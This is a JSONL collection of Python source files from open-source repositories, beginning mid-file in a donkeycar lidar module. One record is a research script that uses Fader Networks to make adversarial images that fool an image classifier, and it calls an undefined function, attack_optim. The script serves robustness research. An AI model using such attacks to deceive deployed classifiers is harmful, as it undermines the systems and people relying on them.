draw ImageDraw object\n '''\n for angle in range(0, ranges.size):\n if self.min_dist < ranges[angle] < self.max_dist:\n plot_angle = round(min(359, angle + yaw))\n\n radian = math.radians(plot_angle)\n\n sx = round(x * self.scale + self.offset[0] + math.cos(radian) * ranges[plot_angle] * self.scale)\n sy = round(y * self.scale + self.offset[1] + math.sin(radian) * ranges[plot_angle] * self.scale)\n\n draw.point((sx, sy), fill=(128,128,128))\n \n def run(self, img, x, y, yaw, ranges):\n '''\n takes two lists of equal length, one of distance values, the other of angles corresponding to the dist meas \n '''\n self.frame = img\n draw = ImageDraw.Draw(self.frame)\n self.plot(self.frame, x, -y, yaw, ranges, draw)\n return self.frame\n \n def update(self):\n pass\n\n def run_threaded(self, img, x, y, yaw, ranges):\n return self.run(img, x, y, yaw, ranges)\n\n def shutdown(self):\n pass\n\nclass LidarPlot(object):\n '''\n takes the raw lidar measurements and plots it to an image\n '''\n PLOT_TYPE_LINE = 0\n PLOT_TYPE_CIRC = 1\n def __init__(self, resolution=(500,500),\n max_dist=1000, #mm\n radius_plot=3,\n plot_type=PLOT_TYPE_CIRC):\n self.frame = Image.new('RGB', resolution)\n self.max_dist = max_dist\n self.rad = radius_plot\n self.resolution = resolution\n if plot_type == self.PLOT_TYPE_CIRC:\n self.plot_fn = self.plot_circ\n else:\n self.plot_fn = self.plot_line\n \n\n def plot_line(self, img, dist, theta, max_dist, draw):\n '''\n scale dist so that max_dist is edge of img (mm)\n and img is PIL Image, draw the line using the draw ImageDraw object\n '''\n center = (img.width / 2, img.height / 2)\n max_pixel = min(center[0], center[1])\n dist = dist / max_dist * max_pixel\n if dist < 0 :\n dist = 0\n elif dist > max_pixel:\n dist = max_pixel\n theta = np.radians(theta)\n sx = math.cos(theta) * dist + center[0]\n sy = math.sin(theta) * dist + center[1]\n ex = math.cos(theta) * (dist + self.rad) + center[0]\n ey = math.sin(theta) * (dist + self.rad) + center[1]\n fill = 128\n draw.line((sx,sy, ex, ey), fill=(fill, fill, fill), width=1)\n \n def plot_circ(self, img, dist, theta, max_dist, draw):\n '''\n scale dist so that max_dist is edge of img (mm)\n and img is PIL Image, draw the circle using the draw ImageDraw object\n '''\n center = (img.width / 2, img.height / 2)\n max_pixel = min(center[0], center[1])\n dist = dist / max_dist * max_pixel\n if dist < 0 :\n dist = 0\n elif dist > max_pixel:\n dist = max_pixel\n theta = np.radians(theta)\n sx = round(math.cos(theta) * dist + center[0])\n sy = round(math.sin(theta) * dist + center[1])\n ex = round(math.cos(theta) * (dist + 2 * self.rad) + center[0])\n ey = round(math.sin(theta) * (dist + 2 * self.rad) + center[1])\n fill = 128\n\n draw.ellipse((min(sx, ex), min(sy, ey), max(sx, ex), max(sy, ey)), fill=(fill, fill, fill))\n\n def plot_scan(self, img, distances, angles, max_dist, draw):\n for dist, angle in zip(distances, angles):\n self.plot_fn(img, dist, angle, max_dist, draw)\n \n def run(self, distances, angles):\n '''\n takes two lists of equal length, one of distance values, the other of angles corresponding to the dist meas \n '''\n self.frame = Image.new('RGB', self.resolution, (255, 255, 255))\n draw = ImageDraw.Draw(self.frame)\n self.plot_scan(self.frame, distances, angles, self.max_dist, draw)\n return self.frame\n\n def shutdown(self):\n pass\n\n\nclass BreezySLAM(object):\n '''\n https://github.com/simondlevy/BreezySLAM\n '''\n def __init__(self, MAP_SIZE_PIXELS=500, MAP_SIZE_METERS=10):\n from breezyslam.algorithms import RMHC_SLAM\n from breezyslam.sensors import Laser\n\n laser_model = Laser(scan_size=360, scan_rate_hz=10., detection_angle_degrees=360, distance_no_detection_mm=12000)\n MAP_QUALITY=5\n self.slam = RMHC_SLAM(laser_model, MAP_SIZE_PIXELS, MAP_SIZE_METERS, MAP_QUALITY)\n \n def run(self, distances, angles, map_bytes):\n \n self.slam.update(distances, scan_angles_degrees=angles)\n x, y, theta = self.slam.getpos()\n\n if map_bytes is not None:\n self.slam.getmap(map_bytes)\n\n #print('x', x, 'y', y, 'theta', norm_deg(theta))\n return x, y, deg2rad(norm_deg(theta))\n\n def shutdown(self):\n pass\n\n\n\nclass BreezyMap(object):\n '''\n bitmap that may optionally be constructed by BreezySLAM\n '''\n def __init__(self, MAP_SIZE_PIXELS=500):\n self.mapbytes = bytearray(MAP_SIZE_PIXELS * MAP_SIZE_PIXELS)\n\n def run(self):\n return self.mapbytes\n\n def shutdown(self):\n pass\n\nclass MapToImage(object):\n\n def __init__(self, resolution=(500, 500)):\n self.resolution = resolution\n\n def run(self, map_bytes):\n np_arr = np.array(map_bytes).reshape(self.resolution)\n return arr_to_img(np_arr)\n\n def shutdown(self):\n pass\n\n", "source": "bo-rc/donkeycar", "license": "MIT"}
+{"text": "# Exerc\u00edcio Python 105: Analisando e gerando Dicion\u00e1rios\n# Fa\u00e7a um programa que tenha uma fun\u00e7\u00e3o notas() que pode receber v\u00e1rias notas de alunos\n# e vai retornar um dicion\u00e1rio com as seguintes informa\u00e7\u00f5es:\n#\n# - Quantidade de notas\n# - A maior nota\n# - A menor nota\n# - A m\u00e9dia da turma\n# - A situa\u00e7\u00e3o (opcional)\n#\n# Adicione tamb\u00e9m as docstrings dessa fun\u00e7\u00e3o para consulta pelo desenvolvedor.\n\ndef notas(notas, situacao=True):\n \"\"\"\n -> Recebe v\u00e1rias notas de uma turma, faz uma an\u00e1lise dessas informa\u00e7\u00f5es e retorna um Dicion\u00e1rio com elas.\n\n :param notas: (Obrigat\u00f3rio) V\u00e1rias Notas de alunos podem ser digitadas para a an\u00e1lise\n\n :param situacao: (Opcional) True ou False, False por padr\u00e3o\n voc\u00ea escolhe se deseja que o dicion\u00e1rio contenha a an\u00e1lise subjetiva da turma\n\n :return: Retorna um Dicion\u00e1rio com as informa\u00e7\u00f5es:\n - Maior Nota\n - Menor Nota\n - M\u00e9dia da Turma\n - A Situa\u00e7\u00e3o da Turma (Opcional): Ruim, Regular, Boa\n \"\"\"\n\n dicionario_de_alunos = dict()\n sit = \"\"\n maior = menor = media = total = 0\n\n for contador, nota in enumerate(notas):\n if contador == 0:\n menor = nota\n maior = nota\n if nota > maior:\n maior = nota\n if nota < menor:\n menor = nota\n total += nota\n\n media = total / len(notas)\n\n dicionario_de_alunos = {\n \"Quantidade de Notas\": len(notas),\n \"Maior Nota\": maior,\n \"Menor Nota\": menor,\n \"M\u00e9dia da Turma\": media\n }\n\n if media >= 7:\n sit = \"Boa\"\n elif 5 <= media < 7:\n sit = \"Regular\"\n elif media < 5:\n sit = \"Ruim\"\n\n if situacao == False:\n return dicionario_de_alunos\n\n if situacao == True:\n dicionario_de_alunos[\"Situa\u00e7\u00e3o\"] = sit\n return dicionario_de_alunos\n\n\nnotas_alunos = list()\n\nwhile True:\n numero = float(input(\"Digite as notas dos alunos (999 para parar): \"))\n if numero == 999:\n break\n notas_alunos.append(numero)\nsituacao = str(input(\"Quer Mostrar a Situa\u00e7\u00e3o das notas ? [S/N]\")).strip().upper()[0]\nwhile situacao not in 'SN':\n situacao = str(input(\"Quer Mostrar a Situa\u00e7\u00e3o das notas ? [S/N]\")).strip().upper()[0]\nif situacao == 'S':\n situacao = True\nelif situacao == 'N':\n situacao = False\n\nprint(notas(notas_alunos, situacao))\n", "source": "erickeloi/ExerciciosTreino", "license": "MIT"}
+{"text": "import abc\nfrom typing import overload, Optional, Union, Dict, List, Tuple, Callable, TYPE_CHECKING\n\nimport numpy as np\n\nfrom ...math import ndarray\nfrom ...score import NamedScore\n\nif TYPE_CHECKING:\n from ...types import T, ArrayType\n\n from ... import Document, DocumentArray\n\n\nclass FindMixin:\n \"\"\"A mixin that provides find functionality to DocumentArrays\n\n Subclass should override :meth:`._find` not :meth:`.find`.\n \"\"\"\n\n @overload\n def find(self: 'T', query: 'ArrayType', **kwargs):\n ...\n\n @overload\n def find(self: 'T', query: Union['Document', 'DocumentArray'], **kwargs):\n ...\n\n @overload\n def find(self: 'T', query: Dict, **kwargs):\n ...\n\n @overload\n def find(self: 'T', query: str, **kwargs):\n ...\n\n def find(\n self: 'T',\n query: Union['DocumentArray', 'Document', 'ArrayType'],\n metric: Union[\n str, Callable[['ArrayType', 'ArrayType'], 'np.ndarray']\n ] = 'cosine',\n limit: Optional[Union[int, float]] = 20,\n metric_name: Optional[str] = None,\n exclude_self: bool = False,\n only_id: bool = False,\n **kwargs,\n ) -> Union['DocumentArray', List['DocumentArray']]:\n \"\"\"Returns approximate nearest neighbors given an input query.\n\n :param query: the input query to search by\n :param limit: the maximum number of matches, when not given defaults to 20.\n :param metric_name: if provided, then match result will be marked with this string.\n :param metric: the distance metric.\n :param exclude_self: if set, Documents in results with same ``id`` as the query values will not be\n considered as matches. This is only applied when the input query is Document or DocumentArray.\n :param only_id: if set, then returning matches will only contain ``id``\n :param kwargs: other kwargs.\n\n :return: a list of DocumentArrays containing the closest Document objects for each of the queries in `query`.\n \"\"\"\n\n from ... import Document, DocumentArray\n\n if limit is not None:\n if limit <= 0:\n raise ValueError(f'`limit` must be larger than 0, receiving {limit}')\n else:\n limit = int(limit)\n\n _limit = len(self) if limit is None else (limit + (1 if exclude_self else 0))\n\n if isinstance(query, (DocumentArray, Document)):\n\n if isinstance(query, Document):\n query = DocumentArray(query)\n\n _query = query.embeddings\n else:\n _query = query\n\n _, _ = ndarray.get_array_type(_query)\n n_rows, n_dim = ndarray.get_array_rows(_query)\n\n # Ensure query embedding to have the correct shape\n if n_dim != 2:\n _query = _query.reshape((n_rows, -1))\n\n metric_name = metric_name or (metric.__name__ if callable(metric) else metric)\n\n kwargs.update(\n {\n 'limit': _limit,\n 'only_id': only_id,\n 'metric': metric,\n 'metric_name': metric_name,\n }\n )\n\n _result = self._find(\n _query,\n **kwargs,\n )\n\n result: List['DocumentArray']\n\n if isinstance(_result, list) and isinstance(_result[0], DocumentArray):\n # already auto-boxed by the storage backend, e.g. pqlite\n result = _result\n elif (\n isinstance(_result, tuple)\n and isinstance(_result[0], np.ndarray)\n and isinstance(_result[1], np.ndarray)\n ):\n # do autobox for Tuple['np.ndarray', 'np.ndarray']\n dist, idx = _result\n result = []\n\n for _ids, _dists in zip(idx, dist):\n matches = DocumentArray()\n for _id, _dist in zip(_ids, _dists):\n # Note, when match self with other, or both of them share the same Document\n # we might have recursive matches .\n # checkout https://github.com/jina-ai/jina/issues/3034\n if only_id:\n d = Document(id=self[_id].id)\n else:\n d = Document(self[int(_id)], copy=True) # type: Document\n\n # to prevent self-reference and override on matches\n d.pop('matches')\n\n d.scores[metric_name] = NamedScore(value=_dist)\n matches.append(d)\n if len(matches) >= _limit:\n break\n result.append(matches)\n else:\n raise TypeError(\n f'unsupported type `{type(_result)}` returned from `._find()`'\n )\n\n if exclude_self and isinstance(query, DocumentArray):\n for i, q in enumerate(query):\n matches = result[i].traverse_flat('r', filter_fn=lambda d: d.id != q.id)\n if limit and len(matches) > limit:\n result[i] = matches[:limit]\n else:\n result[i] = matches\n\n if len(result) == 1:\n return result[0]\n else:\n return result\n\n @abc.abstractmethod\n def _find(\n self, query: 'ArrayType', limit: int, **kwargs\n ) -> Tuple['np.ndarray', 'np.ndarray']:\n raise NotImplementedError\n", "source": "fastflair/docarray", "license": "Apache-2.0"}
+{"text": "from util.util import autoregister\n\nautoregister('lrs')", "source": "ELSUru/ADL_LRS", "license": "Apache-2.0"}
+{"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .base import NameProvider\nfrom .base import PROVIDERS\nfrom vor.human import Gender\nfrom py_utilities.decorators import run_once\nimport os\nimport random\n\n\nclass Census1990Provider(NameProvider):\n\n KEYS = {\n 'provider': 'Census1990',\n 'm_first': 'male:first_name',\n 'f_first': 'female:first_name',\n 'last': 'all:last_name'\n }\n\n def __init__(self):\n super(Census1990Provider, self).__init__()\n self.load_provider_data()\n\n @run_once\n def load_provider_data(self):\n for (data_source_path, key) in self._get_data_source_keys():\n names = []\n with open(data_source_path) as data_file:\n for line in data_file:\n name, _, _, _ = line.split()\n names.append(name.upper())\n PROVIDERS[self._get_prefixed_key(key)] = names\n\n def get_first_name(self, gender):\n key = self._get_first_name_key_from_gender(gender)\n return random.choice(PROVIDERS[key]).title()\n\n def get_last_name(self):\n key = self._get_last_name_key()\n return random.choice(PROVIDERS[key]).title()\n\n def _get_prefixed_key(self, key):\n return \"{0}:{1}\".format(self.KEYS['provider'], key)\n\n def _get_first_name_key_from_gender(self, gender):\n if gender == Gender.Male:\n return self._get_prefixed_key(self.KEYS['m_first'])\n elif gender == Gender.Female:\n return self._get_prefixed_key(self.KEYS['f_first'])\n else:\n raise ValueError(\"Unsupported value in gender enum\")\n\n def _get_last_name_key(self):\n return self._get_prefixed_key(self.KEYS['last'])\n\n def _get_data_source_keys(self):\n cwd = os.path.dirname(os.path.realpath(__file__))\n full_path = lambda x: os.path.join(cwd, x)\n source_keys = [\n ('../../data/1990_census/dist.all.last', self.KEYS['last']),\n ('../../data/1990_census/dist.male.first', self.KEYS['m_first']),\n ('../../data/1990_census/dist.female.first', self.KEYS['f_first'])\n ]\n return [(full_path(source), keys) for source, keys in source_keys]\n\n# vim: filetype=python\n", "source": "ryankanno/vor", "license": "MIT"}
+{"text": "import json\n# Pattern (and code) taken from:\n# https://gist.github.com/mivade/384c2c41c3a29c637cb6c603d4197f9f\nFILE_SPECIFIER = 'file://'\n\n\ndef argument(*name_or_flags, **kwargs):\n \"\"\"Convenience function to properly format arguments to pass to the\n subcommand decorator.\n \"\"\"\n args = list()\n for arg in name_or_flags:\n args.append(arg)\n return args, kwargs\n\n\ndef subcommand(args, parent, **kwargs):\n def decorator(func):\n parser = parent.add_parser(\n func.__name__.replace('_', '-'),\n description=func.__doc__,\n **kwargs)\n for arg in args:\n parser.add_argument(*arg[0], **arg[1])\n parser.set_defaults(func=func)\n return func\n\n return decorator\n\n\n_internal_arg_names = ['func', 'subcommand', 'identifier']\n\n\ndef clear_internal_args(args):\n for arg_name in _internal_arg_names:\n try:\n args.pop(arg_name)\n except KeyError:\n pass # Its ok if the key is not in the list to be cleared\n return args\n\n\ndef load_metadata(argument):\n metadata = {}\n if argument.startswith(FILE_SPECIFIER):\n fname = argument.replace(FILE_SPECIFIER, '')\n with open(fname) as f:\n metadata = json.loads(f.read())\n else:\n metadata = json.loads(argument)\n return metadata\n\n\ndef set_checksum_args(arguments):\n \"\"\"\n Argparse parses checksums as {'checksum_sha256': ''}\n\n Return a list of these arguments in a format the Identifiers Service\n understands:\n\n \"checksums\": [\n {\n \"function\": \"md5\",\n \"value\": \"fobarbas\"\n },\n {\n \"function\": \"sha256\",\n \"value\": \"foobarbaz\"\n }\n ],\n\n Note: This modifies the values in 'arguments'\n \"\"\"\n checksum_args = [\n {'function': arg_name.replace('checksum_', '').replace('_', '-'),\n 'value': arguments.pop(arg_name)}\n for arg_name in list(arguments.keys())\n if arg_name.startswith('checksum') and arguments[arg_name] is not None\n ]\n if checksum_args:\n arguments['checksums'] = checksum_args\n return arguments\n\n\ndef parse_none_values(values, none_value='None'):\n options = {}\n for option_name, option_value, option_none_value in values:\n if isinstance(option_value, str) and option_value == none_value:\n options[option_name] = option_none_value\n elif isinstance(option_value, list) and option_value == [none_value]:\n options[option_name] = option_none_value\n elif option_value:\n options[option_name] = option_value\n return options\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"}
+{"text": "from force_bdss.api import BaseDataSourceFactory\n\nfrom .micelle_model import MicelleDataSourceModel\nfrom .micelle_data_source import MicelleDataSource\n\n\nclass MicelleFactory(BaseDataSourceFactory):\n\n def get_identifier(self):\n return \"micelle\"\n\n def get_name(self):\n return \"Micelle Aggregation Calculator\"\n\n def get_model_class(self):\n return MicelleDataSourceModel\n\n def get_data_source_class(self):\n return MicelleDataSource\n", "source": "force-h2020/force-bdss-plugin-surfactant-example", "license": "BSD-2-Clause"}
+{"text": "from django.db import models\n\n# Create your models here.\n\nfrom django.db import models\nfrom datetime import datetime\n\n\nclass User(models.Model):\n name = models.CharField(max_length=100)\n surname = models.CharField(max_length=100)\n email = models.EmailField(unique=True)\n password = models.CharField(max_length=128)\n created = models.DateTimeField('Created', default=datetime.now)\n", "source": "lizooo/webpage", "license": "MIT"}
+{"text": "import sys, os\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom tensorflow.keras.callbacks import Callback, ReduceLROnPlateau, TerminateOnNaN, ModelCheckpoint\nimport tensorflow.keras.backend as K\nimport tensorflow as tf\nimport time\n\n###### Callbacks\n# Create a callback to compute time spent between 10th and 110th epoch\nclass time_callback(Callback):\n def __init__(self):\n '''\n Compute time spent between 10th and 110th epoch\n '''\n self.epoch = 1\n self.t1 =0\n self.t2 = 0\n \n def on_epoch_end(self, epoch, t1):\n if (self.epoch == 10):\n self.t1 =time.time()\n print('t1: '+str(self.t1))\n elif (self.epoch == 110):\n self.t2 = time.time()\n print('t2: '+str(self.t2))\n print('for 100 epochs from 10 to 110: '+str(self.t2 - self.t1))\n self.epoch +=1", "source": "BastienArcelin/IPU-GPU", "license": "BSD-3-Clause"}
+{"text": "\"\"\"\nAttacking the model using a Fader Network\nNote: We are basically searching for the interpolation values\nwhich allow us to break a simple classifier. \n\"\"\"\n\nimport argparse\nimport json\nimport logging\nimport os\nfrom collections import OrderedDict\nfrom datetime import datetime\n\nimport numpy as np\nimport torch\nimport torchvision\nfrom matplotlib import pyplot as plt\nfrom torch import nn\nfrom tqdm import tqdm\n\nfrom FaderNetworks.src.model import AutoEncoder\nfrom simple_classifier import Classifier, get_data_loader, restore_model\nfrom utils import get_logger\nfrom losses import attack_cw_l2, nontarget_logit_loss\n\n_LEGACY_STATE_DICT_PATCH = OrderedDict([(\"enc_layers.1.1.num_batches_tracked\", 1), (\"enc_layers.2.1.num_batches_tracked\", 1),\n (\"enc_layers.3.1.num_batches_tracked\",\n 1), (\"enc_layers.4.1.num_batches_tracked\", 1),\n (\"enc_layers.5.1.num_batches_tracked\",\n 1), (\"enc_layers.6.1.num_batches_tracked\", 1),\n (\"dec_layers.0.1.num_batches_tracked\",\n 1), (\"dec_layers.1.1.num_batches_tracked\", 1),\n (\"dec_layers.2.1.num_batches_tracked\",\n 1), (\"dec_layers.3.1.num_batches_tracked\", 1),\n (\"dec_layers.4.1.num_batches_tracked\", 1), (\"dec_layers.5.1.num_batches_tracked\", 1)])\n# torch.nn.Module.dump_patches=True\n\n\nclass ModAlpha(nn.Module):\n \"\"\"\n Workaround class for constructing alpha\n \"\"\"\n\n def __init__(self, alpha1, alpha2, alpha3):\n super(ModAlpha, self).__init__()\n self.a1 = torch.tensor(alpha1, requires_grad=True)\n self.a2 = torch.tensor(alpha2, requires_grad=True)\n self.a3 = torch.tensor(alpha3, requires_grad=True)\n\n def forward(self):\n a1 = torch.stack([self.a1, torch.tensor(0.)])\n a1_ = torch.stack([torch.tensor(0.), self.a1])\n alpha1 = torch.tensor([1., 0.]) - a1 + a1_\n a2 = torch.stack([self.a2, torch.tensor(0.)])\n a2_ = torch.stack([torch.tensor(0.), self.a2])\n alpha2 = torch.tensor([1., 0.]) - a2 + a2_\n a3 = torch.stack([self.a3, torch.tensor(0.)])\n a3_ = torch.stack([torch.tensor(0.), self.a3])\n alpha3 = torch.tensor([1., 0.]) - a3 + a3_\n return torch.cat([alpha1, alpha2, alpha3]).unsqueeze(0)\n\n\nclass Attacker(nn.Module):\n \"\"\"\n Defines a attack system which can be optimized.\n Input passes through a pretrained fader network for modification.\n Input -> (Fader network) -> (Target model) -> Classification label\n\n Since Fader network requires that the attribute vector elements (alpha_i) be converted to (alpha_i, 1-alpha_i),\n we use the Mod alpha class to handle this change while preserving gradients.\n \"\"\"\n\n def __init__(self, params):\n super(Attacker, self).__init__()\n self.params = params\n self.target_model = Classifier(\n (params.img_sz, params.img_sz, params.img_fm))\n self.adv_generator = AutoEncoder(params)\n self.attrib_gen = ModAlpha(0., 0., 0.)\n\n def restore(self, legacy=False):\n self.target_model.load_state_dict(torch.load(self.params.model))\n if legacy:\n old_model_state_dict = torch.load(self.params.fader)\n old_model_state_dict.update(_LEGACY_STATE_DICT_PATCH)\n model_state_d = old_model_state_dict\n else:\n model_state_d = torch.load(self.params.fader)\n self.adv_generator.load_state_dict(model_state_d, strict=False)\n\n def forward(self, x, attrib_vector=None):\n self.attrib_vec = self.attrib_gen()\n l_z = self.adv_generator.encode(x)\n recon = self.adv_generator.decode(l_z, self.attrib_vec)[-1]\n cl_label = self.target_model(recon)\n return recon, cl_label\n\n\ndef build_parser():\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '-m', '--model', help='Path to the model to be attacked. As of now, we will use models trained with the simple_classifier script', required=True)\n parser.add_argument(\n '-f', '--fader', help='Path to fader networks. Use one of the many Fader networks trained', required=True)\n parser.add_argument(\n '-o', '--outdir', help='Output directory', default='out', required=False)\n parser.add_argument('-d', '--data_dir',\n help='Path to data directory', required=True)\n parser.add_argument('-a', '--attrib_path',\n help='Path to attrib file', required=True)\n parser.add_argument('-t', '--type', help='Attack type: \\n\\t cw: Carlini-Wagner L2 attack \\n\\t fn: Fader Network based attack',\n choices=['cw', 'fn'], default='fn')\n return parser\n\n\ndef attack_linearly(img, model, attrib_tuple, device):\n # Just run a linear search of alpha\n model.eval()\n img = img.to(device)\n attrib = [1-attrib_tuple[0], attrib_tuple[0]]\n attrib_step = 1e-3\n recon_imgs = []\n true_label = torch.argmax(model.target_model(img))\n breaks = []\n pred_values = []\n cnt = 0\n alphas = np.arange(attrib_tuple[0], attrib_tuple[1], attrib_step)\n print(alphas)\n recons = []\n b_recons = []\n for alpha in alphas:\n attrib = torch.tensor([1-alpha, alpha]).unsqueeze(0).to(device)\n recon, pred = model(img, attrib)\n if torch.argmax(pred) != true_label:\n breaks.append(1)\n recons.append(np.hstack([img[0].detach().cpu().numpy().transpose(\n (1, 2, 0)), recon[0].detach().cpu().numpy().transpose((1, 2, 0))]))\n else:\n breaks.append(0)\n b_recons.append(np.hstack([img[0].detach().cpu().numpy().transpose(\n (1, 2, 0)), recon[0].detach().cpu().numpy().transpose((1, 2, 0))]))\n cnt += 1\n if len(recons) != 0:\n recon2 = np.vstack(recons[:5])\n else:\n recon2 = np.vstack(b_recons[-5:])\n recon3 = np.vstack(b_recons[:5])\n return breaks, pred_values, recon2, recon3\n\ndef attack_binarily(img, model, attrib_tuple, device, logger):\n \"\"\" Currently assuming that the alpha value of the attribute is positive.\n # Binary search only works for a single attribute\n # Binary search for alpha\n \"\"\"\n model.eval()\n img = img.to(device)\n true_label = torch.argmax(model.target_model(img))\n attrib_left = torch.tensor(\n [1-attrib_tuple[0], attrib_tuple[0]]).unsqueeze(0).to(device)\n attrib_right = torch.tensor(\n [1-attrib_tuple[1], attrib_tuple[1]]).unsqueeze(0).to(device)\n recon_left, pred_recon_left = model(img, attrib_left)\n recon_right, pred_recon_right = model(img, attrib_right)\n pred_recon_left = torch.argmax(pred_recon_left)\n pred_recon_right = torch.argmax(pred_recon_right)\n\n if pred_recon_left == true_label and pred_recon_right == true_label:\n logger.info('Higher max value required')\n attrib_left = attrib_right\n attrib_right = attrib_right*2\n elif pred_recon_left != true_label and pred_recon_right != true_label:\n logger.info('Lower min value required')\n attrib_right = attrib_left\n attrib_left = attrib_left/2.0\n perm_attrib = attrib_right[0, 1]\n attrib = attrib_left + (attrib_right - attrib_left)/2.0\n cnt = 0\n max_iter = 10000\n while np.abs(attrib_left[0, 1].cpu().numpy() - attrib_right[0, 1].cpu().numpy()) > 1e-3:\n logger.info('Num_iter:{}, alpha:{}'.format(\n cnt, attrib[0, 1].cpu().numpy()))\n if cnt > max_iter:\n break\n recon_attrib, pred_attrib = model(img, attrib)\n label_attrib = torch.argmax(pred_attrib)\n if label_attrib != true_label:\n logger.info('Broken at least once, {}, {}'.format(\n true_label, label_attrib))\n attrib_right = attrib\n if np.abs(attrib[0, 1]) - np.abs(perm_attrib) <= 0:\n perm_attrib = attrib[0, 1]\n #attrib_left = attrib\n else:\n attrib_left = attrib\n attrib = attrib_left + (attrib_right - attrib_left)/2.0\n cnt += 1\n\n recon_attrib, pred_attrib = model(img, torch.tensor(\n [1-perm_attrib, perm_attrib]).unsqueeze(0).to(device))\n label_attrib = torch.argmax(pred_attrib)\n logger.info('True_label:{}, pred_label:{}'.format(\n true_label, label_attrib))\n return perm_attrib, recon_attrib, true_label, label_attrib\n\n\ndef main():\n parser = build_parser()\n args = parser.parse_args()\n if not os.path.exists(args.outdir):\n os.makedirs(args.outdir)\n\n args.logger = get_logger(args.outdir)\n args.gen = torch.load(args.fader)\n # Issue: Since Fader Network guys store the entrie model, it assumes certain paths.\n # We try to fix it by saving only the weights (state_dict) using mod_fader_network.py\n # Therefore, we need to reconstruct the model using the parameters.\n args.img_sz = 256\n args.img_fm = 3\n args.init_fm = 32\n args.max_fm = 512\n args.n_layers = 7\n args.n_attr = 6\n args.n_skip = 0\n args.dec_dropout = 0.0\n args.deconv_method = 'convtranspose'\n args.attr = [('Eyeglasses', 2)]\n args.instance_norm = False\n\n args.batch_size = 1\n args.train_attribute = 'Male'\n # Minor bug with storing the model is creating this issue. Anyway, there is not much speedup with cuda\n device = torch.device('cpu')\n # Data Loader\n loader = get_data_loader(args, train='test', shuffle=False)\n\n cnt = 0\n f = open(os.path.join(args.outdir, 'vals.csv'), 'w')\n full_logits = []\n for input, label in tqdm(loader, total=len(loader)):\n attacker = Attacker(args).to(device)\n attacker.restore()\n if cnt > 500:\n break\n if args.type == 'fn':\n success, out_img, alpha, orig_logits, logits, loss, logit_array = attack_optim(\n input, attacker, [(-1.5, 1.75), (-2, 3), (-6, 7)], device, args.logger)\n elif args.type == 'cw':\n success, out_img, alpha, orig_logits, logits, loss, logit_array = attack_cw_l2(\n input, attacker, 0.5, device, args.logger)\n\n print('Loss:{}'.format(loss))\n if success:\n plt.imshow(out_img)\n plt.title('alpha:{}'.format(alpha))\n plt.savefig(os.path.join(\n args.outdir, '{}_broken.png'.format(str(cnt))))\n else:\n plt.imshow(out_img)\n plt.title('unbroken_alpha:{}'.format(alpha))\n plt.savefig(os.path.join(\n args.outdir, '{}_unbroken.png'.format(str(cnt))))\n np.save(os.path.join(args.outdir, '{}.npy'.format(str(cnt))), out_img)\n print(loss.shape)\n out_dict = {'success': success, 'orig_logits': orig_logits[0].tolist(\n ), 'logits': logits[0].tolist(), 'alpha': alpha[0].tolist(), 'loss': loss.tolist(), 'logit_array': logit_array}\n outstr = json.dumps(out_dict)\n f.write(outstr+'\\n')\n cnt += 1\n f.close()\n\n\nif __name__ == '__main__':\n main()\n", "source": "ameya005/Semantic_Adversarial_Attacks", "license": "MIT"}
+{"text": "import datetime\n\nfrom django.db import models\nfrom django.contrib.auth.models import User\nfrom django.contrib.sessions.models import Session\n\nclass Guest(models.Model):\n \n \"\"\"\n A temporary user.\n\n Fields:\n ``user`` - The temporary user.\n ``last_used`` - The last time we noted this user doing something.\n \n All users with a record in this model are temporary and should be\n deleted after GUEST_DELETE_TIME.\n \n \"\"\"\n\n user = models.ForeignKey(User,on_delete=models.CASCADE)\n last_used = models.DateTimeField(User)\n\n @classmethod\n def create_guest(self, user):\n guest = Guest(user=user, last_used=datetime.datetime.now())\n return guest\n", "source": "TylerBackman/chemminetools", "license": "BSD-4-Clause-UC"}
+{"text": "#!/usr/bin/python\n\nimport sys\nimport retro\nimport numpy as np\nfrom os import listdir\nfrom os.path import isfile, join, isdir, dirname, realpath\nfrom PIL import Image\n\n\n# find level maps here: http://info.sonicretro.org/Sonic_the_Hedgehog_(16-bit)_level_maps\nmp = Image.open(dirname(realpath(__file__))+\"/01.PNG\")\nmp.load()\nlevel_map =np.array(mp.convert(mode='RGB'), dtype=\"uint8\" )\nhf = 10 # highlight factor\n\ndef render(file):\n movie = retro.Movie(file)\n movie.step()\n env = retro.make(game=movie.get_game(), state=retro.STATE_NONE, use_restricted_actions=retro.ACTIONS_ALL)\n env.initial_state = movie.get_state()\n env.reset()\n while movie.step():\n keys = []\n for i in range(env.NUM_BUTTONS):\n keys.append(movie.get_key(i))\n _obs, _rew, _done, _info = env.step(keys)\n y = _info['y']\n x = _info['x']\n\n highlight = [[[min(x[0][0]+hf,255), min(x[0][1]+hf,255), min(x[0][2]+hf,255)],\n [min(x[1][0]+hf,255), min(x[1][1]+hf,255), min(x[1][2]+hf,255)],\n [min(x[2][0]+hf,255), min(x[2][1]+hf,255), min(x[2][2]+hf,255)],\n [min(x[3][0]+hf,255), min(x[3][1]+hf,255), min(x[3][2]+hf,255)],\n [min(x[4][0]+hf,255), min(x[4][1]+hf,255), min(x[4][2]+hf,255)],\n [min(x[5][0]+hf,255), min(x[5][1]+hf,255), min(x[5][2]+hf,255)],\n [min(x[6][0]+hf,255), min(x[6][1]+hf,255), min(x[6][2]+hf,255)],\n [min(x[7][0]+hf,255), min(x[7][1]+hf,255), min(x[7][2]+hf,255)],\n ] for x in level_map[y:(y+8), x:(x+8)]]\n\n level_map[y:(y+8), x:(x+8)] = highlight\n\n env.close()\n\nif isdir(sys.argv[1]):\n onlyfiles = [f for f in listdir(sys.argv[1]) if isfile(join(sys.argv[1], f))]\n onlyfiles.sort()\n c = 0\n for file in onlyfiles:\n if \".bk2\" in file :\n print('playing', file)\n render(sys.argv[1]+file)\n if c % 5==0:\n lm = Image.fromarray(level_map)\n lm.save('levelmapv9.jpeg')\n c+=1\n lm.show()\nelse:\n print('playing', sys.argv[1])\n render(sys.argv[1])\n lm = Image.fromarray(level_map)\n # lm.save('levelmap.jpeg')\n lm.show()\n", "source": "tristansokol/Bobcats", "license": "MIT"}
